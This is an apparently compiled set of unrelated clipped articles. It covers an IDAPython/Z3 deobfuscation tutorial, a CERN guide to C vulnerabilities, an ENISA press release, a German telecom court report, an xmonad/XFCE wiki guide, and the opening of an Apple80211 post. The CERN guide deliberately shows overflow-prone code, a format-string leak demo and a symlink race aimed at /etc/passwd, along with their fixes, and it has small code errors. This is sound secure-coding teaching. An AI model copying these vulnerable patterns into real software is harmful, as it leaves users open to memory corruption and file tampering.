  * eax = eax + ebx
  * ebx = ebx + 0x456
  * edx = edx + eax
  * ecx = ecx + eax
  * edx = edx + ebx
  * eax = eax - 0x12312312
  * ecx = ecx + eax
  * eax = eax + ebx
  * eax = eax + ecx
  * eax = eax + edx
  *   * print\(eax\)

The final expression is:

  * c1 + 1 \+ c4 + 1 \+ c2 + 1 \- 305210130 +
  * c4 + 1 \+ c2 + 1 \+ 1110 \+ c3 +
  * 1 \+ 291 \+ c1 + 1 \+ c4 + 1 \+ c2 +
  * 1 \+ c1 + 1 \+ c4 + 1 \+ c2 + 1 \- 305210130 +
  * c2 + 1 \+ c1 + 1 \+ c4 + 1 \+ c2 + 1 \+ c4 + 1 +
  * c2 + 1 \+ 1110

However, we can still ask Z3 to simplify the expression by calling
z3.simplify\(eax\) and get the following simpler output:

  * 3684549565 \+ 4\*c1 + 6\*c4 + 7\*c2 + c3

Now that we have the final expression, we can evaluate its value like this:

  * solver = z3.Solver\(\)
  *   * result = z3.BitVec\('result', 32\)
  *   * solver.add\(c1 == 1, 
  * c2 == 2, 
  * c3 == 3, 
  * c4 == 4, 
  * eax == result\)
  * if solver.check\(\) == z3.sat:
  * m = solver.model\(\)
  * print\("result=%08X" % m\[result\].as\_long\(\)\)

Essentially, we are asking the solver to find the result of the expression
\(eax == result\) given that c1 == 1, c2 == 2, c3 == 3 and c4 == 4. The output
is result=DB9DC3F1.

# Converting the assembly listing to a Z3 expression

Now that we know how to manually build an expression and ask Z3 to simplify
and evaluate it, can we automatically generate the expression from the
disassembly listing?

The answer is Yes and we are going to use a similar technique to the emulation
article from last week. Instead of computing the values, we will simply be
doing Z3 arithmetics:

  1. def simplify\_func\(emu\_start, emu\_end\):
  2. \# Reset registers 
  3. regs\_initial = \{
  4. REG\_EAX: z3.BitVec\('c1', 32\),
  5. REG\_EDX: z3.BitVec\('c2', 32\),
  6. REG\_ECX: z3.BitVec\('c3', 32\),
  7. REG\_EBX: z3.BitVec\('c4', 32\),
  8. \}
  9.   10. regs = \{\}
  11. for k, v in regs\_initial.items\(\):
  12. regs\[k\] = v
  13.   14. def get\_opr\_val\(inst, regs\):
  15. if inst.Op2.type == o\_imm:
  16. return \(True, z3.BitVecVal\(inst.Op2.value, 32\)\)
  17. elif inst.Op2.type == idaapi.o\_reg:
  18. return \(True, regs\[inst.Op2.reg\]\)
  19. else:
  20. return \(False, 0\)
  21.   22. ea = emu\_start
  23. while ea <= emu\_end:
  24. ok = True
  25. inst = idautils.DecodeInstruction\(ea\)
  26. ea += inst.size
  27. if inst.itype == idaapi.NN\_dec and inst.Op1.type == idaapi.o\_reg:
  28. regs\[inst.Op1.reg\] = \(regs.get\(inst.Op1.reg, 0\) \- 1\)
  29. elif inst.itype == idaapi.NN\_inc and inst.Op1.type == idaapi.o\_reg:
  30. regs\[inst.Op1.reg\] = \(regs.get\(inst.Op1.reg, 0\) \+ 1\)
  31. elif inst.itype == idaapi.NN\_sub:
  32. ok, val = get\_opr\_val\(inst, regs\)
  33. regs\[inst.Op1.reg\] = \(regs.get\(inst.Op1.reg, 0\) \- val\)
  34. elif inst.itype == idaapi.NN\_add:
  35. ok, val = get\_opr\_val\(inst, regs\)
  36. regs\[inst.Op1.reg\] = \(regs.get\(inst.Op1.reg, 0\) \+ val\)
  37. else:
  38. ok = False
  39.   40. if not ok:
  41. return \(False, "Emulation failed at %08X" % ea\)
  42.   43. \# Simplify the final expression which is in EAX
  44. result\_expr = z3.simplify\(regs\[REG\_EAX\]\)
  45.   46. def evaluate\(c1, c2, c3, c4\):
  47. """Capture the context and return a function that can be used to 
  48. evaluate the simplified expression given the input arguments"""
  49. s = z3.Solver\(\)
  50. r = z3.BitVec\('r', 32\)
  51.   52. \# Add contraints for input variables
  53. s.add\(regs\_initial\[REG\_EAX\] == c1, regs\_initial\[REG\_EDX\] == c2,
  54. regs\_initial\[REG\_ECX\] == c3, regs\_initial\[REG\_EBX\] == c4\)
  55.   56. \# Add the result constraint
  57. s.add\(result\_expr == r\)
  58.   59. if s.check\(\) == z3.sat:
  60. m = s.model\(\)
  61. return m\[r\].as\_long\(\)
  62. else:
  63. return None
  64.   65. return \(True, evaluate\)

The code above is very similar to what we have seen before, so I will only
explain Z3 related code:

  * Lines 3-8: Create 32-bits Z3 variables. These variables correspond to the initial variables values \(and the input values\)
  * Lines 10-12: Aliases the variables. Those aliases will be updated down the line and will contain more complicated expressions \(not just the initial values\)
  * Line 44: Get a simplified version of the final expression
  * Lines 46-63: Create a nested function that captures the current context. The evaluate function takes 4 input arguments and returns the evaluation result of the simplified expression. I return a function so that I can cache it and call it to evaluate functions in question.

To test the code, we can do something like:

  * Python>ok, challenge\_1 = simplify\_func\(0x401020, 0x40266C\)
  * Python>print\('result=%08X' % challenge\_1\(1, 2, 3, 4\)\)

We get 5E6571B0. If the code works correctly, we should also have the same
result as running the program:

  1. C:\ida-z3-tests>test 0 1 2 3 4
  2. challenge\_1\(1, 2, 3, 4\) -> 5E6571B0

You can download the full script + binary from here:

<img src='img/11469_download-button-128.png' width='123' height='123' />

password: 123

Thanks to all those who are contributing knowledge and code to the infosec
community.  
<img src='img/11470_separator.png' width='146' height='41' />

**You might also like:**

  * Quick introduction into SAT/SMT solvers and symbolic execution
  * Z3 API in Python
  * Writing a simple x86 emulator with IDAPython

### Share this:

  * Click to share on Twitter \(Opens in new window\)
  * 5Click to share on Facebook \(Opens in new window\)5
  * 

### _Related_

Ghidra: A quick overview for the curiousMarch 6, 2019In “IDA Pro”

Daenerys: IDA Pro and Ghidra interoperability frameworkMarch 18, 2019In
“Ghidra”

Blizzard CTF 2017 - The LichKing Reverse Engineering challenge
walkthroughFebruary 15, 2018In "blizzard"

# CERN Computer Security Information

**Created:**| _1/31/2012 7:18:45 PM_  
---|---  
**Updated:**| _1/31/2012 7:19:02 PM_  
**Author:**| __  
**Tags:**| _C++ code-review programming security metrics_  
  

## Common vulnerabilities guide for C programmers

#### Intro

Most vulnerabilities in C are related to buffer overflows <img
src='img/Temp2_1277.png' alt='external link' /> and string manipulation. In
most cases, this would result in a segmentation fault, but specially crafted
malicious input values, adapted to the architecture and environment could
yield to arbitrary code execution. You will find below a list of the most
common errors and suggested fixes/solutions. \(_Some tips for C++ are
availablehere._\)

#### gets

The stdio `gets()` function does not check for buffer length and always
results in a vulnerability.

##### Vulnerable code

[code]

    #include <stdio.h>
    int main () {
        char username[8];
        int allow = 0;
        printf <img src='img/Temp2_1277.png' alt='external link' />("Enter your username, please: ");
        gets(username); // user inputs "malicious"
        if (grantAccess(username)) {
            allow = 1;
        }
        if (allow != 0) { // has been overwritten by the overflow of the username.
            privilegedAction();
        }
        return 0;
    }
    
    
[/code]

##### Mitigation

Prefer using fgets \(and dynamically allocated memory\!\):

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #define LENGTH 8
    int main () {
        char* username, *nlptr;
        int allow = 0;
     
        username = malloc(LENGTH * sizeof(*username));
        if (!username)
            return EXIT_FAILURE;
        printf <img src='img/Temp2_1277.png' alt='external link' />("Enter your username, please: ");
        fgets(username,LENGTH, stdin);
        // fgets stops after LENGTH-1 characters or at a newline character, which ever comes first.
        // but it considers \n a valid character, so you might want to remove it:
        nlptr = strchr(username, '\n');
        if (nlptr) *nlptr = '\0';
     
        if (grantAccess(username)) {
            allow = 1;
        }
        if (allow != 0) {
            priviledgedAction();
        }
     
        free(username);
     
        return 0;
    }
    
    
[/code]

#### strcpy

The `strcpy` built-in function does not check buffer lengths and may very well
overwrite memory zone contiguous to the intended destination. In fact, the
whole family of functions is similarly vulnerable: `strcpy`, `strcat` and
`strcmp`.

##### Vulnerable code

[code]

    char str1[10];
    char str2[]="abcdefghijklmn";
    strcpy(str1,str2);
[/code]

##### Mitigation

The best way to mitigate this issue is to use `strlcpy` if it is readily
available \(which is only the case on BSD systems\). However, it is very
simple to define it yourself, as shown below:

[code]

    #include <stdio.h>
     
    #ifndef strlcpy
    #define strlcpy(dst,src,sz) snprintf((dst), (sz), "%s", (src))
    #endif
     
    enum { BUFFER_SIZE = 10 };
     
    int main() {
        char dst[BUFFER_SIZE];
        char src[] = "abcdefghijk";
     
        int buffer_length = strlcpy(dst, src, BUFFER_SIZE);
     
        if (buffer_length >= BUFFER_SIZE) {
            printf <img src='img/Temp2_1277.png' alt='external link' />("String too long: %d (%d expected)\n",
                    buffer_length, BUFFER_SIZE-1);
        }
     
        printf <img src='img/Temp2_1277.png' alt='external link' />("String copied: %s\n", dst);
     
        return 0;
    }
    
[/code]

Another and may be slightly less convenient way is to use `strncpy`, which
prevents buffer overflows, but does not guarantee '\0'-termination.

[code]

    enum { BUFFER_SIZE = 10 };
    char str1[BUFFER_SIZE];
    char str2[]="abcdefghijklmn";
     
    strncpy(str1,str2, BUFFER_SIZE); /* limit number of characters to be copied */
    // We need to set the limit to BUFFER_SIZE, so that all characters in the buffer
    // are set to '\0'. If the source buffer is longer than BUFFER_SIZE, all the '\0'
    // characters will be overwritten and the copy will be truncated.
     
    if (str1[BUFFER_SIZE-1] != '\0') {
        /* buffer was truncated, handle error? */
    }
    
    
[/code]

For the other functions in the family, the `*n*` variants exist as well:
`strncpm` and `strncat`

#### sprintf

Just as the previous functions, `sprintf` does not check the buffer boundaries
and is vulnerable to overflows.

##### Vulnerable code

[code]

    #include <stdio.h>
    #include <stdlib.h>
     
    enum { BUFFER_SIZE = 10 };
     
    int main() {
        char buffer[BUFFER_SIZE];
        int check = 0;
     
        sprintf(buffer, "%s", "This string is too long!");
     
        printf <img src='img/Temp2_1277.png' alt='external link' />("check: %d", check); /* This will not print 0! */
     
        return EXIT_SUCCESS;
    }
[/code]

##### Mitigation

Prefer using `snprintf`, which has the double advantage of preventing buffers
overflows and returning the minimal size of buffer needed to fit the whole
formatted string.

[code]

    #include <stdio.h>
    #include <stdlib.h>
     
    enum { BUFFER_SIZE = 10 };
     
    int main() {
        char buffer[BUFFER_SIZE];
     
        int length = snprintf(buffer, BUFFER_SIZE, "%s%s", "long-name", "suffix");
     
        if (length >= BUFFER_SIZE) {
            /* handle string truncation! */
        }
     
        return EXIT_SUCCESS;
    }
    
    
[/code]

#### printf and friends

One other vulnerability category is concerned with string formatting attacks
<img src='img/Temp2_1277.png' alt='external link' />, those can cause
information leakage, overwriting of memory, … This error can be exploited in
any of the following functions: `printf`, `fprintf`, `sprintf` and `snprintf`,
_i.e._ all functions that take a “format string” as argument.

##### Vulnerable code

[code]

    #FormatString.c
    #include <stdio.h>
     
    int main(int argc, char **argv) {
        char *secret = "This is a secret!\n";
     
        printf <img src='img/Temp2_1277.png' alt='external link' />(argv[1]);
     
        return 0;
    }
[/code]

Now, this code, if compiled with the `-mpreferred-stack-boundary=2` option
\(_on a 32-bit platform; on 64-bit things work slightly differently, but the
code still is vulnerable\!_\), can yield interesting results.

If called with `./FormatString %s`, it will print the secret string.

[code]

    $ gcc -mpreferred-stack-boundary=2 FormatString.c -o FormatString
    $ ./FormatString %s
    This is a secret!
    $
[/code]

**Note:** the `-mpreferred-stack-boundary=2` option is in no way necessary to
cause information leakage and not setting it does not make your code more
secure by any means. It just allows for a simpler and more straight forward
example.

**More info / detailed explanations on:** this forum post <img
src='img/Temp2_1277.png' alt='external link' />

##### Mitigation

It's really simple: **always** hardcode the format string. At least, **never**
let it come directly from any user's input.

#### File opening

Much care must be taken when opening files, as many issues can arise. This is
covered in much detail by Kupsch and Miller in this tutorial <img
src='img/Temp2_1277.png' alt='external link' />. They also provide libraries
implementing their approach. Out of the many ways file handling can be
attacked, we will only present two brief examples below.

Some of the basic pitfalls are described below.

##### Symbolic link attack

It is a good idea to check whether a file exists or not before creating it.
However, a malicious user might create a file \(or worse, a symbolic link to a
critical system file\) between your check and the moment you actually use the
file.

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
     
    #define MY_TMP_FILE "/tmp/file.tmp"
     
     
    int main(int argc, char* argv[])
    {
        FILE * f;
        if (!access(MY_TMP_FILE, F_OK)) {
            printf <img src='img/Temp2_1277.png' alt='external link' />("File exists!\n");
            return EXIT_FAILURE;
        }
        /* At this point the attacker creates a symlink from /tmp/file.tmp to /etc/passwd */
        tmpFile = fopen(MY_TMP_FILE, "w");
     
        if (tmpFile == NULL) {
            return EXIT_FAILURE;
        }
     
        fputs("Some text...\n", tmpFile);
     
        fclose(tmpFile);
        /* You successfully overwrote /etc/passwd (at least if you ran this as root) */
     
        return EXIT_SUCCESS;
    }
    
    
[/code]

##### Mitigation

Avoid the race condition by accessing directly the file, and don't overwrite
it if it already exists. So,

[code]

    #include <unistd.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <stdlib.h>
     
    #define MY_TMP_FILE "/tmp/file.tmp"
     
    enum { FILE_MODE = 0600 };
     
    int main(int argc, char* argv[])
    {
        int fd;
        FILE* f;
     
        /* Remove possible symlinks */
        unlink(MY_TMP_FILE);
        /* Open, but fail if someone raced us and restored the symlink (secure version of fopen(path, "w") */
        fd = open(MY_TMP_FILE, O_WRONLY|O_CREAT|O_EXCL, FILE_MODE);
        if (fd == -1) {
            perror("Failed to open the file");
            return EXIT_FAILURE;
        }
        /* Get a FILE*, as they are easier and more efficient than plan file descriptors */
        f = fdopen(fd, "w");
        if (f == NULL) {
            perror("Failed to associate file descriptor with a stream");
            return EXIT_FAILURE;
        }
        fprintf(f, "Hello, world\n");
        fclose(f);
        /* fd is already closed by fclose()!!! */
        return EXIT_SUCCESS;
    }
    
[/code]

# ENISA maps the Threat Landscape for Internet Infrastructure in 2014 and
provides a Good Practice Guide for enhanced security — ENISA

**Created:**| _1/18/2015 6:22:30 PM_  
---|---  
**Updated:**| _1/18/2015 6:22:30 PM_  
**Author:**| __  
**Tags:**| __  
  

#  ENISA maps the Threat Landscape for Internet Infrastructure in 2014 and
provides a Good Practice Guide for enhanced security

**Press Release**  
Jan 15, 2015  
http://enisa.europa.eu

ENISA’s Threat Landscape and Good Practice Guide for Internet Infrastructure
published today, maps the assets composing an Internet infrastructure and the
applicable threats, giving an overview of emerging trends, and providing
adapted security measures. The report is targeted primarily at Internet
infrastructure owners, as well as Internet organizations, security experts,
developers of security guides, and policy makers.

<img src='img/Temp2_2529.jpg' width='200' height='136' alt='ENISA maps the
Threat Landscape for Internet Infrastructure in 2014 and provides a Good
Practice Guide for enhanced security' />

The report details the assets composing an Internet infrastructure and
classifies the threats applicable, highlighting “important specific threats”
that disrupt connectivity. These include routing threats, DNS threats, and
\(Distributed\) Denial of Service. Each threat is linked with a list of assets
exposed. Overall, there is an increase in the occurrence of these threats.

The report takes stock of publicly available security measures to protect
Internet infrastructure assets and will enable asset owners to carefully
analyse their Internet infrastructure through risk assessment and evaluation
of exposure to specific threats. It details a list of good practices to make
an Internet infrastructure more secure.

Furthermore, a gap analysis outlines existing shortcomings of current good
practices. From the analysis, the gaps are linked to the application of skill
sets in all important specific threats analysed, as well as to system
configuration and essential addressing protocols for \(Distributed\) Denial of
Service.

Five technical recommendations and four organisational recommendations
respectively, are proposed for an enhanced level of security through the
development and application of good practices, and the importance of
collaboration in the community.

Udo Helmbrecht , ENISA’s Executive Director, commented on the project: _“_
_Threats analysed in the current study indicate they are globally on the rise.
It is important to apply good practices and promote the exchange of
information, in order to mitigate threats and secure Internet infrastructure.
ENISA’s Guide gives an up to date overview of emerging threats and lays the
foundations for the community towards a more secure Internet infrastructure
through proper risk assessment, training and evaluation”._

The publication is part of the ENISA Threat Landscape 2014, an activity
towards achieving the objectives formulated in the Cyber Security Strategy for
the EU, which stresses the importance of threat analysis and emerging trends
in cyber security.

**For full report:** Threat Landscape and Good Practice Guide for Internet
Infrastructure

**For interviews:**

**Primary contact :** Dr. Louis Marinos, Network and Information Security -
Research and Analysis Expert, ENISA  
**Email:** louis.marinos@enisa.europa.eu, **Phone:** \(+30\) 2814409682

**Experts:** Dr. Cédric Lévy-Bencheton, Expert in Network and Information
Security, ENISA Email: cedric.levy-bencheton@enisa.europa.eu, Phone: \(+30\)
2814 409 630, and Rossella Mattioli, Security and Resilience of Communication
Networks Officer, ENISA, Rossella.Mattioli@enisa.europa.eu,  Phone: \(+30\)
2814409628

Stay updated - subscribe to RSS feeds of both ENISA news items & press
releases\!

News items:

http://www.enisa.europa.eu/media/news-items/news-wires/RSS

http://www.enisa.europa.eu/media/press-releases/press-releases/RSS

# Schaltung von Telefonanschluss nach 250 000-Euro-Androhung - teltarif.de
News

**Created:**| _2/28/2013 9:25:24 AM_  
---|---  
**Updated:**| _2/28/2013 9:25:24 AM_  
**Author:**| __  
**Tags:**| __  
  

# **S** chaltung von Telefonanschluss nach 250 000-Euro-Androhung****

## Amtsgericht erlässt Einstweilige Verfügung gegen Telekom****

<img src='img/Temp2_7243.jpg' width='240' height='166' alt='Telekom-Fassade'
/>  
Amtsgericht verfügt Einstweilige Verfügung gegen Telekom Weil sie nicht länger
auf einen Telefonanschluss  warten wollten, sind zwei Rechtsanwältinnen in
Lüneburg vor Gericht gezogen - mit Erfolg: Das Amtsgericht drohte der Telekom
an, ein Ordnungsgeld von bis zu 250 000 Euro zu verhängen, falls der
Telefonanschluss nicht innerhalb von 24 Stunden eingerichtet werde**.** Kurz
vor Ablauf dieser Frist konnten die Frauen in ihrer neuen Kanzlei laut einem
Bericht der Landeszeitung  wieder telefonieren**.** Als Alternative zur
Geldzahlung seien bis zu sechs Monate Haft angedroht worden, sagte ein
Gerichtssprecher**.** Die Haftstrafe würde die Geschäftsführer der Telekom
treffen**.** Ein Gerichts­vollzieher hat diesen Bescheid dem Unternehmen am
Montag zugestellt**.**

### Portierung von Telekom-Rufnummern zu separaten Vodafone-Anschluss****

Die beiden Rechtsanwältinnen zogen von ursprünglich getrennt liegenden
Kanzleien an einen gemeinsamen Standort**.** Eine der beiden Rechtsanwältinnen
wollte ihren bestehenden Telefonanschluss mitnehmen**.** Von ihrem
Vertragspartner Vodafone  wurde die Abmeldung an der alten Adresse sowie die
Anmeldung an der neuen Adresse jeweils zum 15**.** Februar schriftlich
bestätigt. Die Abschaltung am genannten Tag erfolgte bereits am Morgen,
während an der neuen Adresse kein Anschluss geschaltet wurde**.** Es folgten
zahlreiche Telefonate mit Vodafone und der Telekom**.** Ein Treffen mit einem
Telekom-Techniker kam nicht zu Stande**.**

Bei einem der zahlreichen Telefonate wurde der Grund für das Problem klar**.**
Die andere Rechtsanwältin hatte einen Telekom-Vertrag**.** Dieser wurde
gekündigt und gleichzeitig eine Portierung von zwei Rufnummern zu der neuen,
gemeinsamen Adresse beauftragt**.** Da das Vertragsende erst im Juni ist,
würde die Telekom den Anschluss insgesamt, also auch von der ersten Anwältin
mit dem Vodafone-Anschluss, so lange verweigern, bis das Vertragsende des
Telekom-Anschlusses erreicht sei**.** Dieses Szenario ist bei ISDN-Anschlüssen
durchaus möglich, in der Umsetzung jedoch nicht ganz trivial**.**

Überblick: Urteile in der Telekommunikation

| <img src='img/Temp2_7242.jpg' width='10' height='1' />|  **Schock-
Rechnungen, Filesharing, Vertragsstreitigkeiten und mehr** Auch im
Telekommunikations-Bereich wird einiges vor Gericht entschieden**.** Wir
zeigen Ihnen die spannendsten Entscheidungen, die auch Sie betreffen können:
**Alle Urteile im Überblick finden Sie auf unserer speziellen Seite**\!** **  
---|---|---  
Die Telekom wies die Verantwortung für die Verzögerungen von sich**.** Nach
Angaben eines Sprechers war der anstehende Umzug der Kanzlei dem damaligen
Anbieter der Anwältinnen gemeldet worden**.** Dieser habe dann eine
unvollständige Adresse an die Telekom weitergeleitet, so dass ein Techniker,
der den Anschluss einrichten wollte, die Kanzlei nicht finden konnte**.** Die
Telekom informierte daraufhin nach Angaben des Sprechers den bisherigen
Telefonanbieter der Anwältinnen**.**

### Begründung des Gerichts: Klägerin hätte erhebliche Nachteile****

Nach mehreren Tagen ohne Telefonanschluss wendeten sich die Anwältinnen
schließlich an das Amtsgericht Lüneburg, welches diese Einstweilige Verfügung
gegen die Telekom erließ**.** Zu den Gründen für die Verfügung nannte das
Gericht, die Klägerin hätte "erhebliche, nicht zumutbare Nachteile haben, wenn
erst nach einer Anhörung des Gegners oder nach mündlicher Verhandlung
entschieden würde**.** "

### Weitere Meldungen zum Thema Recht****

Newsliste: \[ minimal \] · \[ verkürzen \] · \[ verlängern \] · \[ maximal \]

****

# Xmonad/Using xmonad in XFCE - HaskellWiki

**Created:**| _11/25/2009 2:27:25 PM_  
---|---  
**Updated:**| _11/25/2009 2:27:32 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

<img src='img/Temp2_9968.png' alt='HaskellWiki' />| Haskell | Wiki community | Recent changes  
Random page | Special pages | Not logged in  
Log in | Help  
---|---|---  
Request an account if you don't have one.

**Edit this page** | Discuss this page | Page history | What links here | Related changes  

# Xmonad/Using xmonad in XFCE

< Xmonad

Categories: XMonad

<img src='img/Temp2_9969.png' width='47' height='73' />

XMonad

## Contents

  * 1 Introduction
  * 2 Configuring XMonad to work with Xfce
    * 2.1 Xfce Settings
      * 2.1.1 Backing up your settings
      * 2.1.2 Start a new session
      * 2.1.3 Setting up Xfce
      * 2.1.4 Xfce's Panels
      * 2.1.5 Ensure XMonad gets started
    * 2.2 XMonad Hacking
    * 2.3 Using XMonad.Config.Xfce
  * 3 Get XMonad Going\!
  * 4 That's all folks\!
  * 5 Note for 4.6.0

  
---  
\[edit\]

# 1 Introduction

This is an updated and hopefully less confusing version of my original blog
post located here: X2Monad

_Why use Xfce with XMonad?_

Whilst XMonad is a truly excellent Window Manager, alone it doesn't offer the
full convenience of an entire Desktop Environment, such as the provided menus,
all-in-one configuration settings, consistent dialogs, etc. Out of the three
main DEs available in Unix-like Operating Systems - Gnome, KDE and Xfce - the
latter is often touted as the most "nimble" of the lot. In my own opinion, it
is simpler to use than KDE but with more configuration options \(and a saner
environment\) than Gnome.

\[edit\]

# 2 Configuring XMonad to work with Xfce

This guide assumes that you're using at least version 4.4 of Xfce, and have
both XMonad and XMonad-Contrib 0.7 installed. First we need to configure Xfce
to play nicely, before adding in XMonad.

\[edit\]

## 2.1 Xfce Settings

We're going to utilise Xfce's Session Manager to make sure that xfwm4 \(Xfce's
default WM\) is no longer started. Preferably, it'd be nice if we could have
XMonad started this way as well \(or even set in a configuration option like
with Gnome or KDE\), but the former isn't possible until XMonad supports the
required Session Management Protocol and the latter isn't possible in Xfce at
all.

\[edit\]

### 2.1.1 Backing up your settings

If you're already using Xfce, you may wish to first backup your ~/.config
directory. Whilst Xfce isn't the only application/library/etc. to utilise the
~/.config directory to store it's settings, it does so in a few different sub-
directories \(i.e. in some cases specific applications have their own settings
directory\), it's easier to backup the whole thing.

Note that as far as I know, it isn't possible to have for the same user both a
standard Xfce login and an XMonad Xfce login. Whilst you can have different
sessions to determine whether you use XMonad or not, there are some settings -
such as the panel layout - that aren't saved on a per-session basis.

\[edit\]

### 2.1.2 Start a new session

For backup purposes in case something goes wrong with your XMonad settings, it
is recommended to create a new Xfce session. To do so, open the "Sessions and
Startup" option dialog either from the "Settings" section of the Xfce menu, or
in Xfce's Settings Manager \(xfce-setting-show\). Enable the the session
chooser and automatic saving of sessions, then logout and log back in again.
When the session chooser appears, choose to create a new session.

A word of warning: I found that the session chooser kept crashing Xfce on a
freshly installed Xfce-4.4.2. If this happens to you, delete the
~/.config/xfce-session directory.

\[edit\]

### 2.1.3 Setting up Xfce

Open up the Xfce settings manager. There, you can customise Xfce to your
hearts content. Note that the following settings dialogs won't be applicable
once we start XMonad:

  * Window Manager
  * Window Manager Tweaks
  * Workspaces and Margins

The last option isn't required, as Xfce will happily use XMonad's workspaces.

These options are recommended:

  * Under "Desktop", let Xfce manage the desktop, but under Behaviour set the Desktop Icons to "None". This way, Xfce will control your wallpaper, etc., allowing you to have random lists, different wallpapers for different screens for multi-head setups, etc.
  * The Keyboard settings can be used to set keyboard shortcuts for those multimedia keys \(e.g. XF86AudioMute\) found on many keyboards, since these types of keys are currently difficult to create shortcuts for in XMonad. Simply setup the various keyevents to these keybindinds for use with xmodmap in ~/.Xmodmap and Xfce will read these on start.
  * Mouse: if you don't have or want to use a mouse, there's a limited type of mouse emulation available where you can use the Numpad arrow keys to move the cursor.
  * For "Preferred Applications", set whichever terminal emulator you plan to use. I find that Xfce's own Terminal application to work quite nicely with XMonad and to resize rather well.

If you so wish, you can now disable the session chooser, though I suggest you
leave it enabled until you've successfully managed to login to your
Xfce/XMonad environment several times.

\[edit\]

### 2.1.4 Xfce's Panels

If you so wish you can now customize the panels and the plugins on them. This
can be safely left to later, however. With XMonad, I typically only have one
panel rather than the default two. In terms of panel plugins, I've removed the
Task List, but kept the pager: with the EWMH settings in XMonad, Xfce's pager
acts as a mini-preview of your various layouts\!

\[edit\]

### 2.1.5 Ensure XMonad gets started

Because XMonad doesn't support the session protocol and Xfce is missing an
option to specify which Window Manager to use, we must ensure that XMonad is
started each time we log in. **WARNING\!\!\! Make sure you don't log out and
back in again after setting this and before you reach the stage where we kill
xfwm4, or else you will have two different Window Managers fighting each
other\!\!\!** Run Xfce's Autostarted Applications manager \(either under the
Settings section in the Xfce menu or run `xfce4-autostart-editor`\). There,
add a new autostarted application with the command being simply `xmonad`
\(this of course assumes XMonad is in your path... otherwise, specify the full
path to the binary\) with whatever name you want. Ensure that the new
autostarted application entry you just created is ticked.

To repeat the warning: **After creating this, don't exit Xfce until you've
finished configuring XMonad and have killed xfwm4\!\!\!**

\[edit\]

## 2.2 XMonad Hacking

see also, Config.Xfce

It's now time to customise XMonad. You have a wide variety of Layouts, Hooks,
etc. to experiment with. Here are some basic changes that you _should_ make:

  * Replace the old gaps setup with ManageDocks \(especially since Gaps are deprecated in the current darcs version of XMonad and won't be present from 0.8 onwards\). This also involves changing the keybinding to hide/show panels.
  * Use the EWMH hooks so that Xfce can obtain Workspace information from XMonad and vice versa. This lets the Pager plugin to the panel act as a mini workspace-previewer, and let you choose which workspace to view by clicking on the pager. Note that by using this, the pager will also automatically add/remove workspaces based upon how many workspaces XMonad has.
  * Use _mod4_ \(aka the "Windows" key\) as the modifier key. Many applications - including Xfce - use the Alt key for keybindings themselve \(e.g. Xfce uses Alt-F2 to show its run dialog\).
  * With keybindings, _xfce4-session-logout_ to exit for the Mod-Shift-q keybinding, rather than just exiting XMonad \(which will leave Xfce still running\).
  * Use Xfce's Terminal as the terminal program.

Here is a minimal ~/.xmonad/xmonad.hs that demonstrates how to do this. Note
that it is expected that you copy and edit the sample configuration file to
get the remaining keybindings present, or else use something like the EZConfig
extension in the Contrib library to selectively add/edit/remove keybindings
from the default list. As it stands, this configuration file _isn't_
sufficient, as it doesn't list all the keybindings and in fact won't compile
due to the "..." present in the keybinding list.

[code]

    import XMonad
    import qualified Data.Map as M
    import XMonad.Hooks.ManageDocks
    import XMonad.Hooks.EwmhDesktops
     
    myTerminal = "Terminal"
     
    myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $
        [
        ...
        , ((modMask, xK_b), sendMessage ToggleStruts)
        ...
        , ((modMask .|. shiftMask, xK_q), spawn "xfce4-session-logout")
        ...
        ]
     
    main = xmonad defaultConfig
                  { manageHook = manageDocks <+> manageHook defaultConfig
                  , logHook    = ewmhDesktopsLogHook
                  , layoutHook = ewmhDesktopsLayout $ avoidStruts $ layoutHook defaultConfig
                  , modMask    = mod4Mask
                  , keys       = myKeys
                  }
    
[/code]

If you so wish, you can also use _xfrun4_ or _xfce4-appfinder_ as the program
launchers for the Mod-p and Mod-Shift-p keybindings instead of the default
dmenu and gmrun.

\[edit\]

## 2.3 Using XMonad.Config.Xfce

_with xmonad-contrib-0.8 or greater_

Use the following in your ~/.xmonad/xmonad.hs to implement all the suggestions
made above. This _is_ a compilable configuration giving you all the basics.

[code]

    import XMonad
    import XMonad.Config.Xfce
     
    main = xmonad xfceConfig
    
[/code]

You may wish to run ghci or something on your ~/.xmonad/xmonad.hs
configuration file to make sure it's correct before moving on to the next
section.

\[edit\]

# 3 Get XMonad Going\!

It's now time to ditch Xfce's default Window Manager xfwm4 and replace it with
something better \(i.e. XMonad\). To do so, it's probably easiest to run
xfrun4 with Xfce's default key combination Alt-F2 and enter the following:
`killall xfwm4 && xmonad`

If all went well, you'll now find yourself in XMonad\!

\[edit\]

# 4 That's all folks\!

Congratulations, you have now successfully configured XMonad and Xfce so that
XMonad acts as Xfce's Window Manager\! Sample screenshots to come.

\[edit\]

# 5 Note for 4.6.0

The procedure above did not work for me, I had to manually edit the session
cache \(in ~/.cache/sessions\) to remove the entry for xfwm4. This meant
removing all the lines with Client0, decrementing the client number for all
other clients, and decrementing Count. This needs to be done after logging out
so that it isn't clobbered by saving the session on logout.

Retrieved from
"http://www.haskell.org/haskellwiki/Xmonad/Using\_xmonad\_in\_XFCE"

This page has been accessed 9,782 times. This page was last modified 18:41, 31
March 2009. Recent content is available under a simple permissive license.

Recent content is available under a simple permissive license.  

# Security Mitigations for Return-Oriented Programming Attacks

**Created:**| _8/24/2010 3:40:32 PM_  
---|---  
**Updated:**| _8/24/2010 3:41:03 PM_  
**Author:**| __  
**Tags:**| _Exploit Defense rop_  
  
<img src='img/Temp2_7352' />

# Apple80211 - 28 Days Later

**Created:**| _5/6/2015 4:32:32 PM_  
---|---  
**Updated:**| _5/6/2015 4:32:32 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking wireless_  
  

# Apple 80211 - 28 Days Later \(a.k.a 11201ellpA, Part II\)

### Jonathan Levin, http://www.newosxbook.com/ \(@Technologeeks\) - 05/06/15

## Where were we?

If you read Part I, you'll recall I ended it with the proposition of forward
engineering \(i.e. reconstructing\) the `Apple80211.framework`, so that it can
be re-introduced to iOS, and resist Apple's attempts at eradicating it from OS
X. The underlying functionality of 80211 in iOS has been moved into
/usr/sbin/wifid \(which likely just compiles it in statically\), with new
wrappers in the \(also private\) MobileWiFi.framework . OS X's
